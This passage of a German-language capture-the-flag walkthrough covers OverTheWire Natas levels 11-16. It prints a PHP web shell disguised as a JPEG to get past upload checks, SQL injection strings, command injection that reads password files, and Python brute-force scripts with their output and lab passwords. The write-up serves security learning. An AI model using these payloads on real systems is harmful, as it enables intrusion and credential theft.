</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;File is too big&#34;</span>;
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">move_uploaded_file</span>($_FILES[<span style="color:#e6db74">&#39;uploadedfile&#39;</span>][<span style="color:#e6db74">&#39;tmp_name&#39;</span>], $target_path)) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;The file &lt;a href=</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">$target_path\</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">&gt;</span>$target_path<span style="color:#f92672">&lt;/</span><span style="color:#a6e22e">a</span><span style="color:#f92672">&gt;</span> <span style="color:#a6e22e">has</span> <span style="color:#a6e22e">been</span> <span style="color:#a6e22e">uploaded</span><span style="color:#e6db74">&#34;;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  } else{
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    echo &#34;</span><span style="color:#a6e22e">There</span> <span style="color:#a6e22e">was</span> <span style="color:#a6e22e">an</span> <span style="color:#a6e22e">error</span> <span style="color:#a6e22e">uploading</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">file</span>, <span style="color:#a6e22e">please</span> <span style="color:#66d9ef">try</span> <span style="color:#a6e22e">again</span><span style="color:#f92672">!</span><span style="color:#e6db74">&#34;;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  }
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">} else {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">?&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&lt;form enctype=&#34;</span><span style="color:#a6e22e">multipart</span><span style="color:#f92672">/</span><span style="color:#a6e22e">form</span><span style="color:#f92672">-</span><span style="color:#a6e22e">data</span><span style="color:#e6db74">&#34; action=&#34;</span><span style="color:#a6e22e">index</span><span style="color:#f92672">.</span><span style="color:#a6e22e">php</span><span style="color:#e6db74">&#34; method=&#34;</span><span style="color:#a6e22e">POST</span><span style="color:#e6db74">&#34;&gt; 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&lt;input type=&#34;</span><span style="color:#a6e22e">hidden</span><span style="color:#e6db74">&#34; name=&#34;</span><span style="color:#a6e22e">MAX_FILE_SIZE</span><span style="color:#e6db74">&#34; value=&#34;</span><span style="color:#ae81ff">1000</span><span style="color:#e6db74">&#34; /&gt; 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&lt;input type=&#34;</span><span style="color:#a6e22e">hidden</span><span style="color:#e6db74">&#34; name=&#34;</span><span style="color:#a6e22e">filename</span><span style="color:#e6db74">&#34; value=&#34;</span><span style="color:#f92672">&lt;?</span> <span style="color:#66d9ef">print</span> <span style="color:#a6e22e">genRandomString</span>(); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">.jpg&#34; /&gt; 
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Choose a JPEG to upload (max 1KB):&lt;br/&gt; 
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;input name=&#34;uploadedfile&#34; type=&#34;file&#34; /&gt;&lt;br /&gt; 
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;input type=&#34;submit&#34; value=&#34;Upload File&#34; /&gt; 
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;/form&gt; 
</span></span></span></code></pre></div><p>Wenn wir eine Datei hochladen, wird bekommt diese einen zufälligen 10-stelligen Namen, die Endung <strong>.jpg</strong> und wird unter <strong>/upload/</strong> gespeichert. Den Link zu der Datei bekommen wir danach angezeigt. Wir können ein PHP-Skript erstellen, welches für uns ein System-Kommando ausführt und müssen dafür sorgen, dass es mit der Endung <strong>.php</strong> in dem Ordner <strong>/upload/</strong> gespeichert wird und nicht mit der Endung <strong>.jpg</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;&lt;?php system(\&#34;cat /etc/natas_webpass/natas13\&#34;); ?&gt;&#34;</span> &gt; cutecat.jpg
</span></span></code></pre></div><p>Durch dieses Kommando erstellen wir ein PHP-Skript welches auf dem Server <strong>cat /etc/natas_webpass/natas13</strong> ausführen wird. Das <strong>\</strong> ist bei <strong>echo</strong> ein escape character. Ohne das \ würde der echo Befehl bei <strong>system(&quot;</strong> enden. <strong>system</strong> führt bei PHP ein System Kommando aus und gibt den Output aus. Wird speichern das PHP-Skript als <strong>cutecat.jpg</strong> ab, wobei die Endung bei diesem Beispiel egal ist, da die Datei eh umbenannt wird und die Seite die Datei nicht auf ihre Endung überprüft.</p>
<p>Es gibt verschiedene Möglichkeiten, wie wir dafür sorgen können, dass unsere Datei nun als <strong>.php</strong> gespeichert wird.</p>
<p>Zum einen können wir <strong>Strg</strong> + <strong>Umschalt</strong> + <strong>I</strong> drücken um die Elemente der Seite zu untersuchen. Dann suchen wir nach dem verstecktem Input-Feld und können dort den Wert von <strong>filename</strong> ändern.</p>
<p><a href="https://imgur.com/AB3zREf"><img alt="Element untersuchen" src="https://imgur.com/AB3zREf.jpg"></a></p>
<p>Danach müssen wir nur noch auf <strong>Upload File</strong> klicken, die Datei wird unter dem Namen gespeichert, welchen wir festgelegt haben und wenn wir durch den Link, welcher uns angezeigt wird, die Datei ausführen, bekommen wir das Passwort angezeigt.</p>
<p>Alternativ können wir auch Burp benutzen. Wenn wir das Upload Anfrage abfangen, können wir dort auch den Dateinamen ändern.</p>
<p><a href="https://imgur.com/pV7pVjS"><img alt="Burp" src="https://imgur.com/pV7pVjS.jpg"></a></p>
<p>Wenn alles geklappt hat, bekommen wir das Password angzeigt.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
</span></span></code></pre></div><h2 id="level-12---level-13"><strong>Level 12 -&gt; Level 13</strong></h2>
<p>Dieses Level ist eine Erweiterung zum vorherigen. Der Quelltext hat drei neue Zeilen dazu bekommen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span> <span style="color:#a6e22e">exif_imagetype</span>($_FILES[<span style="color:#e6db74">&#39;uploadedfile&#39;</span>][<span style="color:#e6db74">&#39;tmp_name&#39;</span>])) { 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;File is not an image&#34;</span>; 
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Jetzt wird bei der Datei, welche wir hochladen, zusätzlich überprüft um was für einen Bildtyp es sich bei der Datei handelt. Dies wird durch <strong>exif_imagetype(datei)</strong> realisiert. <strong>exif_imagetype</strong> liest die ersten Bytes der Datei aus und überprüft anhand der Signatur um welchen Dateityp es sich handelt. Wenn wir etwas anderes als eine Bilddatei hochladen erhalten wir nur die Rückmeldung <strong>File is not an image</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# file cutecat.jpg 
</span></span><span style="display:flex;"><span>cutecat.jpg: PHP script, ASCII text
</span></span></code></pre></div><p>Auf Wikipedia können wir eine <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">Liste mit Signatur für verschiedene Dateitypen</a> finden. Die Signatur für JPEGs ist <strong>FF D8 FF DB</strong>.</p>
<p>Hier gibt es auch wieder verschiedene Möglichkeiten, wie wir die Signatur an den Anfang unserer Datei einfügen können, sodass diese als JPEG erkannt wird.</p>
<ol>
<li></li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# echo -e <span style="color:#e6db74">&#34;\xff\xd8\xff\xe0&#34;</span> &gt; jpeg
</span></span><span style="display:flex;"><span>root@kali:~# file jpeg
</span></span><span style="display:flex;"><span>jpeg: JPEG image data
</span></span></code></pre></div><p>Dadurch haben wir nun die JPEG Signatur in der Datei <strong>jpeg</strong> gespeichert. Jetzt müssen wir nur noch unser PHP-Skript erstellen und die beiden Dateien zusammenführen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# echo <span style="color:#e6db74">&#34;&lt;?php system(\&#34;cat /etc/natas_webpass/natas14\&#34;); ?&gt;&#34;</span> &gt; cutecat
</span></span><span style="display:flex;"><span>root@kali:~# cat jpeg cutecat &gt; cutecatjpg
</span></span><span style="display:flex;"><span>root@kali:~# file cutecatjpg
</span></span><span style="display:flex;"><span>cutecat2: JPEG image data
</span></span></code></pre></div><ol start="2">
<li>Wir können auch den Hexeditor dafür benutzen.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# hexeditor -b cutecat
</span></span></code></pre></div><p>Viermal <strong>Strg + A</strong> drücken um null-Bytes zu erstellen, <strong>FF D8 FF DB</strong> eingeben und mit <strong>Strg + X</strong> speichern.</p>
<p><a href="https://imgur.com/l2oziBm"><img alt="hexeditor" src="https://imgur.com/l2oziBm.jpg"></a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# file cutecat
</span></span><span style="display:flex;"><span>cutecat: JPEG image data
</span></span></code></pre></div><ol start="3">
<li>Wir laden unser Skript ganz normal hoch und fangen die Anfrage mit Burp ab. Wir kopieren dann die ASCII Kodierung der Signatur von Wikipedia und fügen diese vor dem Inhalt unserer Datei ein.</li>
</ol>
<p><a href="https://imgur.com/gqLbyb1"><img alt="kopieren" src="https://imgur.com/gqLbyb1.jpg"></a></p>
<p><a href="https://imgur.com/EItixfp"><img alt="einfügen bei burp" src="https://imgur.com/EItixfp.jpg"></a></p>
<p>Natürlich dürfen wir nicht vergessen, wie im vorherigen Level, dafür zu sorgen, dass unsere Datei wieder mit der Endung <strong>.php</strong> gespeichert wird. Wenn alles funktioniert hat, bekommen wir wieder das Passwort angezeigt, wenn wir dem Link zu unserer Datei folgen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
</span></span></code></pre></div><h2 id="level-13---level-14"><strong>Level 13 -&gt; Level 14</strong></h2>
<p>Sehen wir uns den Quelltext an:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>[<span style="color:#f92672">...</span>]
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">array_key_exists</span>(<span style="color:#e6db74">&#34;username&#34;</span>, $_REQUEST)) 
</span></span><span style="display:flex;"><span>  { 
</span></span><span style="display:flex;"><span>  $link <span style="color:#f92672">=</span> <span style="color:#a6e22e">mysql_connect</span>(<span style="color:#e6db74">&#39;localhost&#39;</span>, <span style="color:#e6db74">&#39;natas14&#39;</span>, <span style="color:#e6db74">&#39;&lt;censored&gt;&#39;</span>); 
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mysql_select_db</span>(<span style="color:#e6db74">&#39;natas14&#39;</span>, $link); 
</span></span><span style="display:flex;"><span>  $query <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;SELECT * from users where username=</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>$_REQUEST[<span style="color:#e6db74">&#34;username&#34;</span>]<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> and password=</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>$_REQUEST[<span style="color:#e6db74">&#34;password&#34;</span>]<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">array_key_exists</span>(<span style="color:#e6db74">&#34;debug&#34;</span>, $_GET)) 
</span></span><span style="display:flex;"><span>  { 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Executing query: </span><span style="color:#e6db74">$query</span><span style="color:#e6db74">&lt;br&gt;&#34;</span>; 
</span></span><span style="display:flex;"><span>  } 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">mysql_num_rows</span>(<span style="color:#a6e22e">mysql_query</span>($query, $link)) <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>) 
</span></span><span style="display:flex;"><span>  { 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Successful login! The password for natas15 is &lt;censored&gt;&lt;br&gt;&#34;</span>; 
</span></span><span style="display:flex;"><span>  } 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">else</span> 
</span></span><span style="display:flex;"><span>  { 
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Access denied!&lt;br&gt;&#34;</span>; 
</span></span><span style="display:flex;"><span>  } 
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mysql_close</span>($link);
</span></span><span style="display:flex;"><span>[<span style="color:#f92672">...</span>]
</span></span></code></pre></div><p>Wir können die genaue SQL Abfrage sehen, welche gemacht wird:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> users <span style="color:#66d9ef">WHERE</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;USER_INPUT&#34;</span> <span style="color:#66d9ef">AND</span> password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;USER_INPUT&#34;</span>
</span></span></code></pre></div><p>Wir können nun eine ganz einfache SQL Injection machen, um an das Passwort zu kommen</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>username<span style="color:#f92672">=</span>test<span style="color:#e6db74">&#34; OR &#34;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#34;=&#34;</span><span style="color:#ae81ff">1</span>  
</span></span><span style="display:flex;"><span>password<span style="color:#f92672">=</span>test<span style="color:#e6db74">&#34; OR &#34;</span><span style="color:#ae81ff">1</span><span style="color:#e6db74">&#34;=&#34;</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>Dadurch erhalten wir folgende SQL Abfrage</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> users <span style="color:#66d9ef">WHERE</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;test&#34;</span> <span style="color:#66d9ef">OR</span> <span style="color:#e6db74">&#34;1&#34;</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span> <span style="color:#66d9ef">AND</span> password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;test&#34;</span> <span style="color:#66d9ef">OR</span> <span style="color:#e6db74">&#34;1&#34;</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span>
</span></span></code></pre></div><p>Wir werden also also als irgendein beliebiger Benutzer eingeloggt.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>http://natas14.natas.labs.overthewire.org/?username<span style="color:#f92672">=</span>test<span style="color:#e6db74">&#34; OR &#34;</span>1<span style="color:#e6db74">&#34;=&#34;</span>1&amp;password<span style="color:#f92672">=</span>test<span style="color:#e6db74">&#34; OR &#34;</span>1<span style="color:#e6db74">&#34;=&#34;</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Successful login! The password <span style="color:#66d9ef">for</span> natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
</span></span></code></pre></div><h2 id="level-14---level-15"><strong>Level 14 -&gt; Level 15</strong></h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# vim bruteforce.py
</span></span><span style="display:flex;"><span>import requests
</span></span><span style="display:flex;"><span>from requests.auth import HTTPBasicAuth
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chars <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#39;</span>
</span></span><span style="display:flex;"><span>correct <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>passwd <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> char in chars:
</span></span><span style="display:flex;"><span>Data <span style="color:#f92672">=</span> <span style="color:#f92672">{</span><span style="color:#e6db74">&#39;username&#39;</span> : <span style="color:#e6db74">&#39;natas16&#34; and password LIKE BINARY &#34;%&#39;</span> + char + <span style="color:#e6db74">&#39;%&#34; #&#39;</span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> requests.post<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;http://natas15.natas.labs.overthewire.org/index.php?debug&#39;</span>, auth<span style="color:#f92672">=</span>HTTPBasicAuth<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;natas15&#39;</span>, <span style="color:#e6db74">&#39;AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J&#39;</span><span style="color:#f92672">)</span>, data <span style="color:#f92672">=</span> Data<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#e6db74">&#39;exists&#39;</span> in r.text :
</span></span><span style="display:flex;"><span>correct <span style="color:#f92672">+=</span> char
</span></span><span style="display:flex;"><span>print<span style="color:#f92672">(</span>correct<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i in range<span style="color:#f92672">(</span>0,32<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> char in correct:
</span></span><span style="display:flex;"><span>Data <span style="color:#f92672">=</span> <span style="color:#f92672">{</span><span style="color:#e6db74">&#39;username&#39;</span> : <span style="color:#e6db74">&#39;natas16&#34; and password LIKE BINARY &#34;&#39;</span> + passwd + char + <span style="color:#e6db74">&#39;%&#34; #&#39;</span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> requests.post<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;http://natas15.natas.labs.overthewire.org/index.php?debug&#39;</span>, auth<span style="color:#f92672">=</span>HTTPBasicAuth<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;natas15&#39;</span>, <span style="color:#e6db74">&#39;AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J&#39;</span><span style="color:#f92672">)</span>, data <span style="color:#f92672">=</span> Data<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#e6db74">&#39;exists&#39;</span> in r.text :
</span></span><span style="display:flex;"><span>passwd <span style="color:#f92672">+=</span> char
</span></span><span style="display:flex;"><span>print<span style="color:#f92672">(</span>passwd<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>break
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# python bruteforce.py
</span></span><span style="display:flex;"><span>a
</span></span><span style="display:flex;"><span>ac
</span></span><span style="display:flex;"><span>ace
</span></span><span style="display:flex;"><span>aceh
</span></span><span style="display:flex;"><span>acehi
</span></span><span style="display:flex;"><span>acehij
</span></span><span style="display:flex;"><span>acehijm
</span></span><span style="display:flex;"><span>acehijmn
</span></span><span style="display:flex;"><span>acehijmnp
</span></span><span style="display:flex;"><span>acehijmnpq
</span></span><span style="display:flex;"><span>acehijmnpqt
</span></span><span style="display:flex;"><span>acehijmnpqtw
</span></span><span style="display:flex;"><span>acehijmnpqtwB
</span></span><span style="display:flex;"><span>acehijmnpqtwBE
</span></span><span style="display:flex;"><span>acehijmnpqtwBEH
</span></span><span style="display:flex;"><span>acehijmnpqtwBEHI
</span></span><span style="display:flex;"><span>acehijmnpqtwBEHIN
</span></span><span style="display:flex;"><span>acehijmnpqtwBEHINO
</span></span><span style="display:flex;"><span>acehijmnpqtwBEHINOR
</span></span><span style="display:flex;"><span>acehijmnpqtwBEHINORW
</span></span><span style="display:flex;"><span>acehijmnpqtwBEHINORW0
</span></span><span style="display:flex;"><span>acehijmnpqtwBEHINORW03
</span></span><span style="display:flex;"><span>acehijmnpqtwBEHINORW035
</span></span><span style="display:flex;"><span>acehijmnpqtwBEHINORW0356
</span></span><span style="display:flex;"><span>acehijmnpqtwBEHINORW03569
</span></span><span style="display:flex;"><span>W
</span></span><span style="display:flex;"><span>Wa
</span></span><span style="display:flex;"><span>WaI
</span></span><span style="display:flex;"><span>WaIH
</span></span><span style="display:flex;"><span>WaIHE
</span></span><span style="display:flex;"><span>WaIHEa
</span></span><span style="display:flex;"><span>WaIHEac
</span></span><span style="display:flex;"><span>WaIHEacj
</span></span><span style="display:flex;"><span>WaIHEacj6
</span></span><span style="display:flex;"><span>WaIHEacj63
</span></span><span style="display:flex;"><span>WaIHEacj63w
</span></span><span style="display:flex;"><span>WaIHEacj63wn
</span></span><span style="display:flex;"><span>WaIHEacj63wnN
</span></span><span style="display:flex;"><span>WaIHEacj63wnNI
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIB
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBR
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBRO
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROH
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHe
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeq
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3p
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3p9
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3p9t
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3p9t0
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3p9t0m
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3p9t0m5
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3p9t0m5n
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3p9t0m5nh
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3p9t0m5nhm
</span></span><span style="display:flex;"><span>WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
</span></span></code></pre></div><h2 id="level-15---level-16"><strong>Level 15 -&gt; Level 16</strong></h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>root<span style="color:#a6e22e">@kali</span>:<span style="color:#f92672">~</span><span style="color:#75715e"># vim bruteforce2.py</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> requests 
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> requests.auth <span style="color:#f92672">import</span> HTTPBasicAuth 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>auth<span style="color:#f92672">=</span>HTTPBasicAuth(<span style="color:#e6db74">&#39;natas16&#39;</span>, <span style="color:#e6db74">&#39;WaIHEacj63wnNIBROHeqi3p9t0m5nhmh&#39;</span>) 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>correct <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span> 
</span></span><span style="display:flex;"><span>passwd <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span> 
</span></span><span style="display:flex;"><span>allchars <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890&#39;</span> 
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> allchars: 
</span></span><span style="display:flex;"><span> r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;http://natas16.natas.labs.overthewire.org/?needle=anything$(grep &#39;</span> <span style="color:#f92672">+</span> char <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39; /etc/natas_webpass/natas17)&#39;</span>, auth<span style="color:#f92672">=</span>auth) 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#e6db74">&#39;anything&#39;</span> <span style="color:#f92672">not</span> <span style="color:#f92672">in</span> r<span style="color:#f92672">.</span>text: 
</span></span><span style="display:flex;"><span> correct <span style="color:#f92672">+=</span> char 
</span></span><span style="display:flex;"><span> print(correct) 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">32</span>): 
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> correct: 
</span></span><span style="display:flex;"><span> r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;http://natas16.natas.labs.overthewire.org/?needle=anything$(grep ^&#39;</span> <span style="color:#f92672">+</span> passwd <span style="color:#f92672">+</span> char <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39; /etc/natas_webpass/natas17)&#39;</span>, auth<span style="color:#f92672">=</span>auth) 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#e6db74">&#39;anything&#39;</span> <span style="color:#f92672">not</span> <span style="color:#f92672">in</span> r<span style="color:#f92672">.</span>text: 
</span></span><span style="display:flex;"><span> passwd <span style="color:#f92672">=</span> passwd <span style="color:#f92672">+</span> char 
</span></span><span style="display:flex;"><span> print(passwd) 
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# python bruteforce2.py 
</span></span><span style="display:flex;"><span>b
</span></span><span style="display:flex;"><span>bc
</span></span><span style="display:flex;"><span>bcd
</span></span><span style="display:flex;"><span>bcdg
</span></span><span style="display:flex;"><span>bcdgh
</span></span><span style="display:flex;"><span>bcdghk
</span></span><span style="display:flex;"><span>bcdghkm
</span></span><span style="display:flex;"><span>bcdghkmn
</span></span><span style="display:flex;"><span>bcdghkmnq
</span></span><span style="display:flex;"><span>bcdghkmnqr
</span></span><span style="display:flex;"><span>bcdghkmnqrs
</span></span><span style="display:flex;"><span>bcdghkmnqrsw
</span></span><span style="display:flex;"><span>bcdghkmnqrswA
</span></span><span style="display:flex;"><span>bcdghkmnqrswAG
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGH
</span></span><span style="display:flex;"><span>bcdghkmnqrswAGHN
